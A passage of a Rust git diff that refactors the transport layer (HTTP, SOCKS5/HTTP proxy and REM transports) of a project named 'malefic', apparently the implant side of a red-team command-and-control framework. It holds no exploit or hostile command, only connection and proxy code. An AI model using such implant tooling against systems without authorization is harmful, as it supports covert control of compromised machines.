body_prefix: Vec, + http_config: &malefic_config::HttpRequestConfig, + ) -> Result<()> { + debug!( + "[transport] starting to read response body, expected: {} bytes, prefix: {} bytes", + expected_length, + body_prefix.len() + ); { let mut buffer = self.recv_buffer.lock().await; if !body_prefix.is_empty() { @@ -217,19 +210,15 @@ impl HTTPTransport { } let mut remaining = expected_length.saturating_sub(body_prefix.len()); - debug!("[transport] after adding prefix, remaining: {} bytes", remaining); - while remaining > 0 { - let chunk_size = remaining.min(8192).max(512); + let chunk_size = remaining.min(http_config.response_read_chunk_size.max(1)); let chunk = match self.read_chunk(chunk_size).await { Ok(chunk) => chunk, Err(_) => { - debug!("[transport] recv empty chunk, remaining: {}", remaining); - futures_timer::Delay::new(std::time::Duration::from_millis(10)).await; + futures_timer::Delay::new(http_config.response_retry_delay).await; continue; } }; - { let mut buffer = self.recv_buffer.lock().await; buffer.get_mut().extend_from_slice(&chunk); @@ -238,13 +227,13 @@ impl HTTPTransport { } } remaining -= chunk.len(); - debug!("[transport] read chunk: {} bytes, remaining: {}", chunk.len(), remaining); } - - debug!("[transport] response body read complete, total: {} bytes", expected_length); + debug!( + "[transport] response body read complete, total: {} bytes", + expected_length + ); Ok(()) } - } impl AsyncRead for HTTPTransport { @@ -253,14 +242,11 @@ impl AsyncRead for HTTPTransport { cx: &mut Context<'_>, buf: &mut [u8], ) -> Poll> { - - if let Some(error_guard) = self.connection_error.try_lock() { - if let Some(ref transport_error) = *error_guard { - #[allow(noop_method_call)] - return Poll::Ready(Err(transport_error.clone().into())); + if let Some(mut error_guard) = self.connection_error.try_lock() { + if let Some(transport_error) = error_guard.take() { + return Poll::Ready(Err(io::Error::new(io::ErrorKind::Other, transport_error))); } } - match self.recv_buffer.try_lock() { Some(mut cursor) => { let available = cursor.get_ref().len() - cursor.position() as usize; @@ -270,7 +256,6 @@ impl AsyncRead for HTTPTransport { } return Poll::Pending; } - let read_len = available.min(buf.len()); let n = cursor.read(&mut buf[..read_len]).unwrap_or(0); Poll::Ready(Ok(n)) @@ -281,7 +266,6 @@ impl AsyncRead for HTTPTransport { } } } - } impl AsyncWrite for HTTPTransport { @@ -314,22 +298,26 @@ impl AsyncWrite for HTTPTransport { } #[derive(Clone)] -pub struct HTTPClient { - pub stream: Stream, -} +pub struct HTTPClient; + +impl HTTPClient { + pub fn new() -> Result { + Ok(HTTPClient) + } -impl HTTPClient{ - pub fn new(cryptor: Cryptor) -> Result { - Ok(HTTPClient { - stream: Stream { cryptor }, - }) + pub fn new_with_alias(_alias: Option<&str>) -> Result { + Self::new() } } #[async_trait] impl DialerExt for HTTPClient { - async fn connect(&mut self, config: &ServerConfig) -> Result { - debug!("[transport] Connecting to HTTP server at {}", config.address); + async fn connect(&mut self, target: &crate::server_manager::Target) -> Result { + let config = target.server_config(); + debug!( + "[transport] Connecting to HTTP server at {}", + config.address + ); HTTPTransport::new(config.clone()).await } } diff --git a/malefic-crates/transport/src/lib.rs b/malefic-crates/transport/src/lib.rs new file mode 100644 index 0000000..b09df82 --- /dev/null +++ b/malefic-crates/transport/src/lib.rs @@ -0,0 +1,158 @@ +#![feature(io_error_more)] +#![feature(stmt_expr_attributes)] + +#[cfg(feature = "transport_http")] +pub mod http; +#[cfg(feature = "transport_rem")] +pub mod rem; +#[cfg(feature = "tcp")] +pub mod tcp; + +#[cfg(feature = "proxy")] +pub mod proxie; + +pub mod connection; +pub mod runner; +pub mod server_manager; +pub mod session; + +use async_trait::async_trait; +use futures::{AsyncRead, AsyncWrite}; +use malefic_crypto::crypto::CryptorError; +use std::io; +use thiserror::Error; + +cfg_if::cfg_if! { + if #[cfg(feature = "transport_tcp")] { + pub use tcp::TCPTransport as InnerTransport; + pub use tcp::TCPClient as Client; + } else if #[cfg(feature = "transport_http")] { + pub use http::HTTPTransport as InnerTransport; + pub use http::HTTPClient as Client; + } else if #[cfg(feature = "transport_rem")] { + pub use rem::REMTransport as InnerTransport; + pub use rem::REMClient as Client; + } else { + compile_error!("No transport selected"); + } +} + +#[async_trait] +pub trait TransportImpl: AsyncRead + AsyncWrite + Unpin + Send {} + +impl TransportImpl for T where T: AsyncRead + AsyncWrite + Unpin + Send {} + +#[async_trait] +pub trait ListenerExt: Sized { + async fn bind(addr: &str) -> anyhow::Result; + async fn accept(&mut self) -> anyhow::Result; +} + +#[async_trait] +pub trait DialerExt { + async fn connect( + &mut self, + target: &crate::server_manager::Target, + ) -> anyhow::Result; +} + +#[cfg(feature = "bind")] +cfg_if::cfg_if! { + if #[cfg(feature = "transport_tcp")] { + pub use tcp::TCPListenerExt as Listener; + } else { + compile_error!("No transport selected"); + } +} + +#[derive(Error, Debug)] +pub enum TransportError { + #[error(transparent)] + AnyHowError(#[from] anyhow::Error), + + #[error("Failed to connect to the server")] + ConnectionError, + + #[error("Connection failed: {0}")] + ConnectFailed(String), + + #[error("Configuration error")] + ConfigurationError, + + #[error("Failed to encrypt/decrypt data")] + CryptorError(#[from] CryptorError), + + #[error("Failed to send data")] + SendError, + + #[error("Failed to send data within the timeout")] + SendTimeout, + + #[error("Deadline")] + Deadline, + + #[error("Connection refused")] + ConnectionRefused, + + #[error("Connection reset")] + ConnectionReset, + + #[error("Connection aborted")] + ConnectionAborted, + + #[error("Network unreachable")] + NetworkUnreachable, + + #[error("Other network error: {0}")] + NetworkError(String), + + #[error("Failed to receive data")] + RecvError, + + #[error("I/O Error: {0}")] + IoError(#[from] io::Error), + + #[error("Parser error: {0}")] + ParserError(#[from] malefic_proto::ParserError), + + #[error("Serialization error: {0}")] + SerializationError(String), + + #[error("Unexpected end of stream")] + UnexpectedEof, + + #[error("Unknown error occurred")] + UnknownError, +} + +impl TransportError { + pub fn is_connection_error(&self) -> bool { + match self { + TransportError::ConnectionRefused + | TransportError::ConnectionReset + | TransportError::ConnectionAborted + | TransportError::NetworkUnreachable => true, + + TransportError::IoError(e) => matches!( + e.kind(), + io::ErrorKind::ConnectionRefused + | io::ErrorKind::ConnectionReset + | io::ErrorKind::ConnectionAborted + | io::ErrorKind::NetworkUnreachable + ), + + _ => false, + } + } +} + +pub use server_manager::{ServerManager, Target}; + +pub use session::{Session, SessionConfig, SessionReader, SessionWriter}; + +pub use connection::{ + create_connection, BuildError, Connection, ConnectionBuilder, ConnectionReader, + ConnectionWriter, +}; + +pub use runner::ConnectionRunner; diff --git a/malefic-core/src/transport/proxie/error.rs b/malefic-crates/transport/src/proxie/error.rs similarity index 80% rename from malefic-core/src/transport/proxie/error.rs rename to malefic-crates/transport/src/proxie/error.rs index 89527e3..1fce281 100644 --- a/malefic-core/src/transport/proxie/error.rs +++ b/malefic-crates/transport/src/proxie/error.rs @@ -27,7 +27,11 @@ pub struct HTTPNotOKError { impl Display for HTTPNotOKError { fn fmt(&self, f: &mut Formatter) -> Result { match self.code { - Some(code) => write!(f, "HTTP proxy server responsed with a non-200 error code: {}. ", code), + Some(code) => write!( + f, + "HTTP proxy server responsed with a non-200 error code: {}. ", + code + ), None => write!(f, "HTTP proxy server response invalid. "), } } @@ -63,7 +67,11 @@ pub(crate) struct Socks5HandshakeError { impl Display for Socks5HandshakeError { fn fmt(&self, f: &mut Formatter) -> Result { - write!(f, "Failed to complete handshake with SOCKS 5 server: {}. ", self.socket) + write!( + f, + "Failed to complete handshake with SOCKS 5 server: {}. ", + self.socket + ) } } @@ -73,7 +81,7 @@ impl Error for Socks5HandshakeError { } } -const SOCKS5_REP_ERROR_MESSAGE: [&'static str; 8] = [ //RFC 1928, Chapter 6 +const SOCKS5_REP_ERROR_MESSAGE: [&'static str; 8] = [ "General SOCKS server failure", "Connection not allowed by ruleset", "Network unreachable", @@ -92,12 +100,16 @@ pub(crate) struct Socks5RequestError { impl Display for Socks5RequestError { fn fmt(&self, f: &mut Formatter) -> Result { - let reason = if self.error_type < 8 { + let reason = if self.error_type >= 1 && self.error_type <= 8 { SOCKS5_REP_ERROR_MESSAGE[(self.error_type - 1) as usize] } else { "Unknown error" }; - write!(f, "SOCKS 5 server {} refused request. Reason: {}. ", self.socket, reason) + write!( + f, + "SOCKS 5 server {} refused request. Reason: {}. ", + self.socket, reason + ) } } @@ -105,4 +117,4 @@ impl Error for Socks5RequestError { fn source(&self) -> Option<&(dyn Error + 'static)> { None } -} \ No newline at end of file +} diff --git a/malefic-core/src/transport/proxie/http.rs b/malefic-crates/transport/src/proxie/http.rs similarity index 77% rename from malefic-core/src/transport/proxie/http.rs rename to malefic-crates/transport/src/proxie/http.rs index a7fe25a..17c5b45 100644 --- a/malefic-core/src/transport/proxie/http.rs +++ b/malefic-crates/transport/src/proxie/http.rs @@ -1,62 +1,48 @@ +use crate::proxie::{ + error::HTTPNotOKError, + proxy::{AsyncProxy, HTTPProxy, ProxyTcpStream}, + target::ToTarget, + utils::*, +}; +use anyhow::{anyhow, Result}; use async_net::TcpStream; use async_trait::async_trait; -use futures::{AsyncBufReadExt, AsyncWriteExt}; use futures::io::BufReader; -use anyhow::{anyhow, Result}; +use futures::{AsyncBufReadExt, AsyncWriteExt}; use httparse::{Response, EMPTY_HEADER}; -use crate::transport::proxie::{ - utils::*, - target::ToTarget, - proxy::{HTTPProxy, AsyncProxy, ProxyTcpStream,}, - error::HTTPNotOKError, -}; #[async_trait] impl AsyncProxy for HTTPProxy { async fn connect(&self, addr: impl ToTarget + Send) -> Result { let request = make_http_connect_request(&addr, &self)?; - let mut stream = TcpStream::connect((&*self.server, self.port)).await?; stream.write_all(request.as_bytes()).await?; stream.flush().await?; let mut reader = BufReader::new(&mut stream); let mut buffer = String::new(); - loop { reader.read_line(&mut buffer).await?; - if buffer.ends_with("\r\n\r\n") { break; } } - parse_http_response(&buffer.as_bytes())?; - - Ok(ProxyTcpStream { - stream - }) + Ok(ProxyTcpStream { stream }) } } pub(crate) fn parse_http_response(buffer: &[u8]) -> anyhow::Result<()> { let mut headers = [EMPTY_HEADER; 64]; let mut response = Response::new(&mut headers); - response.parse(&buffer)?; - match response.code { Some(code) => { if code != 200 { - return Err(anyhow!(HTTPNotOKError { - code: Some(code), - })); + return Err(anyhow!(HTTPNotOKError { code: Some(code) })); } - }, - None => return Err(anyhow!(HTTPNotOKError { - code: None, - })), + } + None => return Err(anyhow!(HTTPNotOKError { code: None })), }; - Ok(()) -} \ No newline at end of file +} diff --git a/malefic-core/src/transport/proxie/mod.rs b/malefic-crates/transport/src/proxie/mod.rs similarity index 66% rename from malefic-core/src/transport/proxie/mod.rs rename to malefic-crates/transport/src/proxie/mod.rs index a3b55d2..2f331c5 100644 --- a/malefic-core/src/transport/proxie/mod.rs +++ b/malefic-crates/transport/src/proxie/mod.rs @@ -8,8 +8,6 @@ pub mod http; mod error; mod target; - - mod utils; -pub use proxy::{Auth, Proxy, AsyncProxy, HTTPProxy, SOCKS5Proxy}; \ No newline at end of file +pub use proxy::{AsyncProxy, Auth, HTTPProxy, Proxy, SOCKS5Proxy}; diff --git a/malefic-core/src/transport/proxie/proxy.rs b/malefic-crates/transport/src/proxie/proxy.rs similarity index 64% rename from malefic-core/src/transport/proxie/proxy.rs rename to malefic-crates/transport/src/proxie/proxy.rs index 38a8568..6e5b10a 100644 --- a/malefic-core/src/transport/proxie/proxy.rs +++ b/malefic-crates/transport/src/proxie/proxy.rs @@ -1,16 +1,11 @@ -use std::{ - result, - pin::Pin, -}; -use std::io::Error; -use std::task::{Context, Poll}; -use async_net::TcpStream; +use crate::proxie::target::ToTarget; use anyhow::Result; -use futures::{AsyncRead, AsyncWrite}; +use async_net::TcpStream; use async_trait::async_trait; -use crate::transport::proxie::{ - target::ToTarget, -}; +use futures::{AsyncRead, AsyncWrite}; +use std::io::Error; +use std::task::{Context, Poll}; +use std::{pin::Pin, result}; #[async_trait] pub trait AsyncProxy { @@ -31,70 +26,36 @@ impl AsyncRead for ProxyTcpStream { fn poll_read( mut self: Pin<&mut Self>, cx: &mut Context<'_>, - buf: &mut [u8] + buf: &mut [u8], ) -> Poll> { Pin::new(&mut self.stream).poll_read(cx, buf) } } -// impl AsyncRead for &ProxyTcpStream { -// fn poll_read( -// self: Pin<&mut Self>, -// cx: &mut Context<'_>, -// buf: &mut [u8] -// ) -> Poll> { -// Pin::new(&mut self.stream).poll_read(cx, buf) -// } -// } - impl AsyncWrite for ProxyTcpStream { fn poll_write( mut self: Pin<&mut Self>, cx: &mut Context<'_>, - buf: &[u8] + buf: &[u8], ) -> Poll> { Pin::new(&mut self.stream).poll_write(cx, buf) } fn poll_flush( mut self: Pin<&mut Self>, - cx: &mut Context<'_> + cx: &mut Context<'_>, ) -> Poll> { Pin::new(&mut self.stream).poll_flush(cx) } fn poll_close( mut self: Pin<&mut Self>, - cx: &mut Context<'_> + cx: &mut Context<'_>, ) -> Poll> { Pin::new(&mut self.stream).poll_close(cx) } } -// impl AsyncWrite for &ProxyTcpStream { -// fn poll_write( -// self: Pin<&mut Self>, -// cx: &mut Context<'_>, -// buf: &[u8] -// ) -> Poll> { -// Pin::new(&mut &self.stream).poll_write(cx, buf) -// } -// -// fn poll_flush( -// self: Pin<&mut Self>, -// cx: &mut Context<'_> -// ) -> Poll> { -// Pin::new(&mut &self.stream).poll_flush(cx) -// } -// -// fn poll_close( -// self: Pin<&mut Self>, -// cx: &mut Context<'_> -// ) -> Poll> { -// Pin::new(&mut &self.stream).poll_close(cx) -// } -// } - #[derive(Clone)] pub struct Auth { pub(crate) username: String, @@ -104,7 +65,7 @@ pub struct Auth { impl Auth { pub fn new(username: &str, password: &str) -> Option { if username == "" { - return None + return None; } Some(Self { username: String::from(username), @@ -128,11 +89,10 @@ pub struct HTTPProxy { impl HTTPProxy { pub fn new>>(server: &str, port: u16, auth: T) -> Self { - let auth = auth.into(); Self { server: server.into(), port, - auth, + auth: auth.into(), } } } @@ -146,11 +106,10 @@ pub struct SOCKS5Proxy { impl SOCKS5Proxy { pub fn new>>(server: &str, port: u16, auth: T) -> Self { - let auth = auth.into(); Self { server: server.into(), port, - auth, + auth: auth.into(), } } } diff --git a/malefic-core/src/transport/proxie/socks5.rs b/malefic-crates/transport/src/proxie/socks5.rs similarity index 69% rename from malefic-core/src/transport/proxie/socks5.rs rename to malefic-crates/transport/src/proxie/socks5.rs index 1e11b20..d9ff699 100644 --- a/malefic-core/src/transport/proxie/socks5.rs +++ b/malefic-crates/transport/src/proxie/socks5.rs @@ -1,140 +1,112 @@ -use async_net::TcpStream; -use async_trait::async_trait; -use futures::{AsyncReadExt, AsyncWriteExt}; -use futures::io::BufReader; -use anyhow::{anyhow, Result}; -use crate::transport::proxie::{ - utils::*, +use crate::proxie::{ error::*, + proxy::{AsyncProxy, ProxyTcpStream, SOCKS5Command, SOCKS5Proxy}, target::ToTarget, - proxy::{SOCKS5Proxy, SOCKS5Command, AsyncProxy, ProxyTcpStream}, + utils::*, }; +use anyhow::{anyhow, Result}; +use async_net::TcpStream; +use async_trait::async_trait; +use futures::io::BufReader; +use futures::{AsyncReadExt, AsyncWriteExt}; #[async_trait] impl AsyncProxy for SOCKS5Proxy { async fn connect(&self, addr: impl ToTarget + Send) -> Result { let mut stream = TcpStream::connect((&*self.server, self.port)).await?; - let auth_method = self.async_std_connect(&mut stream).await?; - if auth_method == 0x02 { self.async_std_authenticate(&mut stream).await?; } - self.async_std_request(&mut stream, addr).await?; - - Ok(ProxyTcpStream { - stream - }) + Ok(ProxyTcpStream { stream }) } } impl SOCKS5Proxy { async fn async_std_connect(&self, stream: &mut TcpStream) -> Result { let peer = stream.peer_addr()?; - let request = make_socks5_initial_request(&self.auth); stream.write_all(&request).await?; stream.flush().await?; let mut reader = BufReader::new(stream); let mut buffer = vec![0u8; 2]; - let mut buffer_len = 0; while buffer_len < 2 { let read = reader.read(&mut buffer[buffer_len..]).await?; buffer_len += read; } - - if buffer[1] == 0xFF { //NO ACCEPTABLE METHODS - return Err(anyhow!(Socks5HandshakeError { - socket: peer, - })); + if buffer[1] == 0xFF { + return Err(anyhow!(Socks5HandshakeError { socket: peer })); } - Ok(buffer[1]) } async fn async_std_authenticate(&self, stream: &mut TcpStream) -> Result<()> { let peer = stream.peer_addr()?; - let request = match &self.auth { Some(auth) => make_socks5_authentication_request(&auth), - None => return Err(anyhow!(Socks5HandshakeError { - socket: peer, - })), + None => return Err(anyhow!(Socks5HandshakeError { socket: peer })), }; stream.write_all(&request).await?; stream.flush().await?; let mut reader = BufReader::new(stream); let mut buffer = vec![0u8; 2]; - let mut buffer_len = 0; while buffer_len < 2 { let read = reader.read(&mut buffer[buffer_len..]).await?; buffer_len += read; } - - if buffer[1] != 0x00 { //Authentication failure - return Err(anyhow!(Socks5HandshakeError { - socket: peer, - })); + if buffer[1] != 0x00 { + return Err(anyhow!(Socks5HandshakeError { socket: peer })); } - Ok(()) } async fn async_std_request(&self, stream: &mut TcpStream, addr: impl ToTarget) -> Result<()> { let target = addr.to_target()?; let peer = stream.peer_addr()?; - let request = make_socks5_request(SOCKS5Command::CONNECT, &target)?; stream.write_all(&request).await?; stream.flush().await?; let mut reader = BufReader::new(stream); let mut buffer = vec![0u8; 512]; - let mut buffer_len = 0; - while buffer_len < 4 { //Read until ATYPE + while buffer_len < 4 { let read = reader.read(&mut buffer[buffer_len..]).await?; buffer_len += read; } - - if buffer[3] == 0x01 { //IPv4 - while buffer_len < 10 { //Additional 4 bytes for IPv4 and 2 bytes for port + if buffer[3] == 0x01 { + while buffer_len < 10 { let read = reader.read(&mut buffer[buffer_len..]).await?; buffer_len += read; } - } else if buffer[3] == 0x04 { //IPv6 - while buffer_len < 22 { //Additional 16 bytes for IPv6 and 2 bytes for port + } else if buffer[3] == 0x04 { + while buffer_len < 22 { let read = reader.read(&mut buffer[buffer_len..]).await?; buffer_len += read; } - } else if buffer[3] == 0x03 { //Domain name - while buffer_len < 5 { //Get domain length + } else if buffer[3] == 0x03 { + while buffer_len < 5 { let read = reader.read(&mut buffer[buffer_len..]).await?; buffer_len += read; } - - while buffer_len < 7 + buffer[4] as usize { //Additional buffer[4] bytes for domain name and 2 bytes for port + while buffer_len < 7 + buffer[4] as usize { let read = reader.read(&mut buffer[buffer_len..]).await?; buffer_len += read; } - } else { //Malformed packet - return Err(anyhow!(Socks5HandshakeError { - socket: peer, - })); + } else { + return Err(anyhow!(Socks5HandshakeError { socket: peer })); } - - if buffer[1] != 0x00 { //Request refused + if buffer[1] != 0x00 { return Err(anyhow!(Socks5RequestError { socket: peer, - error_type: buffer[1], + error_type: buffer[1] })); } - Ok(()) } -} \ No newline at end of file +} diff --git a/malefic-core/src/transport/proxie/target.rs b/malefic-crates/transport/src/proxie/target.rs similarity index 89% rename from malefic-core/src/transport/proxie/target.rs rename to malefic-crates/transport/src/proxie/target.rs index 245963d..1a78941 100644 --- a/malefic-core/src/transport/proxie/target.rs +++ b/malefic-crates/transport/src/proxie/target.rs @@ -1,8 +1,8 @@ +use crate::proxie::error::*; use std::{ - string::ToString, net::{Ipv4Addr, Ipv6Addr, SocketAddr}, + string::ToString, }; -use crate::transport::proxie::error::*; pub(crate) enum TargetHost { IPv4(Ipv4Addr), @@ -17,10 +17,7 @@ pub struct Target { impl Target { pub(crate) fn new(host: TargetHost, port: u16) -> Self { - Self { - host, - port, - } + Self { host, port } } } @@ -44,15 +41,12 @@ impl ToTarget for &str { Some(pos) => pos, None => return Err(MalformedTargetError), }; - let host = &self[0..colon_pos]; let port_str = &self[colon_pos + 1..]; - let port = match port_str.parse::() { Ok(port) => port, Err(_) => return Err(MalformedTargetError), }; - let host = if host.starts_with('[') && host.ends_with(']') { match host[1..host.len() - 1].parse::() { Ok(ip) => TargetHost::IPv6(ip), @@ -65,16 +59,16 @@ impl ToTarget for &str { if host.is_empty() || host.ends_with('.') { return Err(MalformedTargetError); } - - if host.chars().any(|c| !c.is_ascii_alphanumeric() && c != '.' && c != '-') { + if host + .chars() + .any(|c| !c.is_ascii_alphanumeric() && c != '.' && c != '-') + { return Err(MalformedTargetError); } - TargetHost::Hostname(host.into()) - }, + } } }; - Ok(Target::new(host, port)) } } @@ -97,8 +91,6 @@ impl ToTarget for SocketAddr { SocketAddr::V4(socket) => TargetHost::IPv4(*socket.ip()), SocketAddr::V6(socket) => TargetHost::IPv6(*socket.ip()), }; - let port = self.port(); - - Ok(Target::new(host, port)) + Ok(Target::new(host, self.port())) } } diff --git a/malefic-crates/transport/src/proxie/utils.rs b/malefic-crates/transport/src/proxie/utils.rs new file mode 100644 index 0000000..ff9feb5 --- /dev/null +++ b/malefic-crates/transport/src/proxie/utils.rs @@ -0,0 +1,86 @@ +use crate::proxie::{ + proxy::{Auth, HTTPProxy, SOCKS5Command}, + target::{Target, TargetHost, ToTarget}, +}; +use anyhow::Result; +use base64::{engine::general_purpose, Engine as _}; + +pub(crate) fn make_http_connect_request(addr: &impl ToTarget, proxy: &HTTPProxy) -> Result { + let addr = addr.to_target()?.to_string(); + let mut request = format!( + "CONNECT {0} HTTP/1.1\r\n\ + Host: {0}\r\n\ + User-Agent: proxie/0.0\r\n\ + Proxy-Connection: Keep-Alive\r\n", + addr + ); + if let Some(auth) = &proxy.auth { + let raw_auth = format!("{}:{}", auth.username, auth.password); + let encoded_auth: String = general_purpose::STANDARD.encode(raw_auth.as_bytes()); + request.push_str(&format!("Proxy-Authorization: Basic {}\r\n", encoded_auth)); + } + request.push_str("\r\n"); + Ok(request) +} + +pub(crate) fn make_socks5_initial_request(auth: &Option) -> Vec { + let mut request = vec![0x05]; + match auth { + Some(_) => { + request.push(2u8); + request.push(0x00); + request.push(0x02); + } + None => { + request.push(1u8); + request.push(0x00); + } + } + request +} + +pub(crate) fn make_socks5_authentication_request(auth: &Auth) -> Vec { + let mut request = vec![0x01]; + request.push(auth.username.len() as u8); + for c in auth.username.chars() { + request.push(c as u8); + } + request.push(auth.password.len() as u8); + for c in auth.password.chars() { + request.push(c as u8); + } + request +} + +pub(crate) fn make_socks5_request(cmd: SOCKS5Command, target: &Target) -> Result> { + let mut request = vec![0x05]; + let cmd = match cmd { + SOCKS5Command::CONNECT => 0x01, + }; + request.push(cmd); + request.push(0x00); + match &target.host { + TargetHost::IPv4(ip) => { + request.push(0x01); + for byte in ip.octets() { + request.push(byte); + } + } + TargetHost::IPv6(ip) => { + request.push(0x04); + for byte in ip.octets() { + request.push(byte); + } + } + TargetHost::Hostname(host) => { + request.push(0x03); + request.push(host.len() as u8); + for c in host.chars() { + request.push(c as u8); + } + } + }; + request.push((target.port >> 8) as u8); + request.push((target.port & 0x00FF) as u8); + Ok(request) +} diff --git a/malefic-crates/transport/src/rem/mod.rs b/malefic-crates/transport/src/rem/mod.rs new file mode 100644 index 0000000..f32b2a8 --- /dev/null +++ b/malefic-crates/transport/src/rem/mod.rs @@ -0,0 +1,539 @@ +use crate::DialerExt; +use anyhow::Result; +use async_trait::async_trait; +use futures::channel::mpsc; +use futures::{AsyncRead, AsyncWrite, FutureExt, Stream}; +use futures_timer::Delay; +use malefic_common::debug; +use malefic_common::spawn_blocking; +use malefic_config::{RemConfig, ServerConfig, TransportConfig, SERVER_CONFIGS}; +use malefic_rem as rem; +use std::future::Future; +use std::io; +use std::pin::Pin; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::Arc; +use std::task::{Context, Poll}; +use std::time::Duration; + +/// Guard that closes the REM handle if a `spawn_blocking(MemoryWrite)` +/// is still running when the future is dropped (e.g., due to session-layer +/// write timeout). Closing the handle interrupts the blocked FFI call, +/// freeing the thread back to the pool. +struct WriteGuard { + handle: i32, + /// Set to `true` by the `spawn_blocking` closure after `memory_write` returns. + completed: Arc, + /// Shared with `REMTransport.closed` — ensures only one close happens. + transport_closed: Arc, +} + +impl Drop for WriteGuard { + fn drop(&mut self) { + if !self.completed.load(Ordering::Acquire) + && !self.transport_closed.swap(true, Ordering::AcqRel) + { + let handle = self.handle; + debug!( + "[rem] WriteGuard: closing handle {} to free blocked write thread", + handle + ); + std::thread::spawn(move || { + let _ = rem::memory_close(handle); + }); + } + } +} + +/// Async bridge for the blocking CGo REM transport. +/// +/// Architecture — **no FFI call ever touches the async executor**: +/// +/// - `poll_read`: drains a `futures::channel::mpsc` fed by a dedicated +/// read thread. The thread calls `memory_try_read(handle, buf)` in a +/// loop and forwards ready chunks through the channel. +/// - `poll_write`: `spawn_blocking(MemoryWrite)` with a `WriteGuard` +/// that closes the handle if the future is dropped before completion. +/// - `poll_close`: `spawn_blocking(MemoryClose)`. +/// - `Drop`: `std::thread::spawn(memory_close)` — never blocks executor. +/// +/// One dedicated thread per transport is created for reads. +pub struct REMTransport { + handle: i32, + /// Internal buffer for partial consumption of a read chunk. + buffer: Vec, + buffer_pos: usize, + /// Receives read data from the dedicated read thread. + read_rx: mpsc::Receiver, String>>, + /// Pending `spawn_blocking(MemoryWrite)` future with close guard. + write_future: Option> + Send>>>, + /// Pending `spawn_blocking(MemoryClose)` future. + close_future: Option> + Send>>>, + /// Shared close flag — prevents double-close between Drop and WriteGuard. + closed: Arc, +} + +impl REMTransport { + pub fn new(handle: i32, _config: &RemConfig) -> Self { + debug!("[rem] Creating new REM transport with handle: {}", handle); + + let closed = Arc::new(AtomicBool::new(false)); + let (tx, rx) = mpsc::channel(1); // Single-slot for backpressure + let read_buffer_size = 64 * 1024; // 64KB buffer for fewer reads + let read_poll_interval = Duration::from_millis(1); + + // Spawn dedicated read thread — all read FFI happens here, never on executor. + let closed_clone = closed.clone(); + std::thread::spawn(move || { + Self::read_thread( + handle, + tx, + closed_clone, + read_buffer_size, + read_poll_interval, + ); + }); + + REMTransport { + handle, + buffer: Vec::new(), + buffer_pos: 0, + read_rx: rx, + write_future: None, + close_future: None, + closed, + } + } + + /// Dedicated read thread. Calls `memory_try_read` (non-blocking) in a + /// loop. When no data is available, sleeps for `READ_THREAD_POLL_INTERVAL` + /// and retries. No timeout parameter is passed to the FFI — the only + /// timeout lives in the Rust session layer (`read_exact_with_idle_timeout`). + /// + /// Exit conditions: + /// - `closed` flag is set (by `poll_close` / `Drop`) + /// - FFI returns a real error (e.g., `MemoryClose` interrupted the conn) + /// - Channel receiver is dropped (transport dropped) + fn read_thread( + handle: i32, + mut tx: mpsc::Sender, String>>, + closed: Arc, + read_buffer_size: usize, + read_poll_interval: Duration, + ) { + let mut buf = vec![0u8; read_buffer_size.max(1)]; + loop { + if closed.load(Ordering::Acquire) { + break; + } + + match rem::memory_try_read(handle, &mut buf) { + Ok(0) => { + // EOF from underlying conn. + debug!("[rem] Read thread EOF for handle {}", handle); + break; + } + Ok(n) => { + debug!("[rem] Read thread got {} bytes for handle {}", n, handle); + let data = buf[..n].to_vec(); + // Send with backpressure: retry until channel has space or closed. + let mut retry_count = 0; + loop { + if closed.load(Ordering::Acquire) { + return; + } + match tx.try_send(Ok(data.clone())) { + Ok(()) => { + if retry_count > 0 { + debug!( + "[rem] Channel send succeeded after {} retries", + retry_count + ); + } + break; + } + Err(e) if e.is_full() => { + if retry_count == 0 { + debug!("[rem] Channel full, entering retry loop"); + } + retry_count += 1; + std::thread::sleep(read_poll_interval); + } + Err(_) => return, // disconnected + } + } + } + Err(rem::RemError::WouldBlock) => { + // No data available right now. Sleep briefly, then retry. + std::thread::sleep(read_poll_interval); + continue; + } + Err(rem::RemError::Other(e)) => { + debug!("[rem] Read thread error for handle {}: {}", handle, e); + let _ = tx.try_send(Err(e)); + break; + } + } + } + debug!("[rem] Read thread exiting for handle {}", handle); + } + + pub fn handle(&self) -> i32 { + self.handle + } + + /// Poll the pending write future, if any. + fn poll_pending_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + ) -> Poll> { + if let Some(fut) = &mut self.write_future { + match fut.as_mut().poll(cx) { + Poll::Ready(Ok(n)) => { + self.write_future = None; + Poll::Ready(Ok(n)) + } + Poll::Ready(Err(e)) => { + self.write_future = None; + Poll::Ready(Err(io::Error::new(io::ErrorKind::Other, e))) + } + Poll::Pending => Poll::Pending, + } + } else { + Poll::Ready(Ok(0)) + } + } + + /// Initiate close if not already started. + fn poll_close_impl(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + if let Some(fut) = &mut self.close_future { + return match fut.as_mut().poll(cx) { + Poll::Ready(Ok(())) => { + self.close_future = None; + self.closed.store(true, Ordering::Release); + debug!("[rem] Closed handle {}", self.handle); + Poll::Ready(Ok(())) + } + Poll::Ready(Err(e)) => { + self.close_future = None; + self.closed.store(true, Ordering::Release); + Poll::Ready(Err(io::Error::new(io::ErrorKind::Other, e))) + } + Poll::Pending => Poll::Pending, + }; + } + + if self.closed.load(Ordering::Acquire) { + return Poll::Ready(Ok(())); + } + + // Mark closed before spawning — prevents WriteGuard from racing + // and signals the read thread to exit. + self.closed.store(true, Ordering::Release); + + let handle = self.handle; + let fut = spawn_blocking(move || rem::memory_close(handle)); + let wrapped = async move { + #[cfg(feature = "tokio")] + { + // tokio: outer Result from JoinHandle + match fut.await { + Ok(result) => result, + Err(join_err) => Err(format!("Thread pool error: {}", join_err)), + } + } + #[cfg(not(feature = "tokio"))] + { + // async-std/smol: no outer Result, return directly + fut.await + } + }; + self.close_future = Some(Box::pin(wrapped)); + self.poll_close_impl(cx) + } +} + +impl AsyncRead for REMTransport { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + // 1. Drain internal buffer first. + if self.buffer.len() > self.buffer_pos { + let available = &self.buffer[self.buffer_pos..]; + let to_copy = available.len().min(buf.len()); + buf[..to_copy].copy_from_slice(&available[..to_copy]); + self.buffer_pos += to_copy; + if self.buffer_pos == self.buffer.len() { + self.buffer.clear(); + self.buffer_pos = 0; + } + return Poll::Ready(Ok(to_copy)); + } + + // 2. Poll channel for data from the dedicated read thread. + // No FFI call happens here — the executor is never blocked. + match Pin::new(&mut self.read_rx).poll_next(cx) { + 